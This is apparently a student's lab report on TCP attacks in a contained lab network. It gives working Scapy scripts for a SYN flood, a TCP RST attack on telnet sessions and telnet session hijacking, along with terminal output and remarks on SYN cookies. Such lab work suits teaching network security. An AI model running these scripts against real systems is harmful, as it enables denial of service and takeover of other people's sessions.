Challenge 2

Tim Naschke

Task 1: SYN Flooding Attack

Task 1.1: Launching the Attack Using Python

For this Task, my code based on synflood_draft.py looks like

```
#!/bin/env python3

from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits

ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp

while True:
    pkt[IP].src = str(IPv4Address(getrandbits(32)))  # source iP
    pkt[TCP].sport = getrandbits(16)                 # source port
    pkt[TCP].seq = getrandbits(32)                   # sequence number
    send(pkt, verbose = 0)
```

Then I open a shell on user1 and try to open a telnet connection from user1 to victim. The success rate for opening the shell was 10/10. This makes sense, as the maximal backlog for victim is 512, but according to

```
netstat -tna | grep SYN_RECV | wc -l
```

the queue was never filled higher than 128.

So now I tried it with 4 instances of the script running, instead of only one. The queue still didn't fill up higher than 129 for some reason, and the success rate for the telnet connection still was 100%, but I now I sometimes had to wait for up to half a minute for the connection to establish.

After setting the queue size down to 80 and flushing the trusted tcp connections the attack ran successfully and most connection attempts timed out.

Task 1.2: Launch the Attack Using C

This time one instance of the C program was enough to run the attack successfully. Since the C program is precompiled and C code is in general more efficient than python code, it is able to send a lot more requests and therefore the change for the legitimate packet to get noticed drops dramatically.

Task 1.3: Enable the SYN Cookie Countermeasure

After reenabling the SYN Cookie Countermeasure a telnet login is possible without delay, so the attack is failing. Therefore the countermeasure seems to working as intended.

Task 2: TCP RST Attacks on telnet Connection

The code used for this is

```
#!/usr/bin/env python3
from scapy.all import *
import subprocess


def reset_tcp(pkt):
    if pkt[TCP].flags != "R":
        ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
        tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport,
                  flags="R", seq=pkt[TCP].ack, ack=pkt[TCP].seq)
        send(ip/tcp)


cmd = "ip a | grep 10.9.0.1 | awk '{print $7}'"
IFACE = subprocess.run(cmd, shell=True, check=True,
                       universal_newlines=True, stdout=subprocess.PIPE
                       ).stdout.strip()

pkt = sniff(iface=IFACE, filter="src host 10.9.0.5 and tcp dst port 23",
            prn=reset_tcp)
```

and it worked in closing the connection, as can be seen here:

```
root@7f9970250a19:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
27eba46dc422 login: Connection closed by foreign host.
```

Task 3: TCP Session Hijacking

For this task, the following code was used:

```
#!/usr/bin/env python3

from scapy.all import *
import subprocess


def hijack_tcp(pkt):
    if pkt[TCP].flags == "A":
        ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
        tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport,
                  flags="PA", seq=pkt[TCP].seq, ack=pkt[TCP].ack)
        data = "\r\necho \"hello world!\"\r\n"
        send(ip/tcp/data)


cmd = "ip a | grep 10.9.0.1 | awk '{print $7}'"
IFACE = subprocess.run(cmd, shell=True, check=True,
                       universal_newlines=True, stdout=subprocess.PIPE
                       ).stdout.strip()

pkt = sniff(iface=IFACE, filter="src host 10.9.0.5 and tcp dst port telnet",
            prn=hijack_tcp)
```

This code has to be started after the login process was completed, because otherwise it would interrupt the login process. Starting the script after the session was established and the login completed worked. The script would send the command and with wireshark I could observe the response, which contained the telnet data:

```
seed@27eba46dc422:~$ echo "hello world!"
hello world!
seed@27eba46dc422:~$
```

The terminal from which I started the telnet session became unresponsive, which makes sense since it couldn't participate in the session anymore, because its seq and ack were out of sync.